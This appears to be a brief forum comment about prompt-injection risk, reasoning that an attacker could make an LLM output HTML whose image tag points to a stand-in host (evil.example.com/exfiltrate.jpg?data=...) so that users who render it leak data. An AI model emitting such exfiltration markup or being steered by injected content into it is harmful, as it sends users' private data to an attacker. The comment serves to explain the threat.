Ah, perhaps answering myself: if the attacker can get the LLM to say "here, look at this HTML content in your browser: ... img src="https://evil.example.com/exfiltrate.jpg?data= ...", then a large number of human users will do that for sure.